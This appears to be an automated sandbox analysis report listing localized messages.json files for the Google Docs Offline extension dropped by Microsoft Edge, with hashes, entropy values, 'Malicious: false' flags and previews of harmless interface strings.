C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8072_1181229178\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
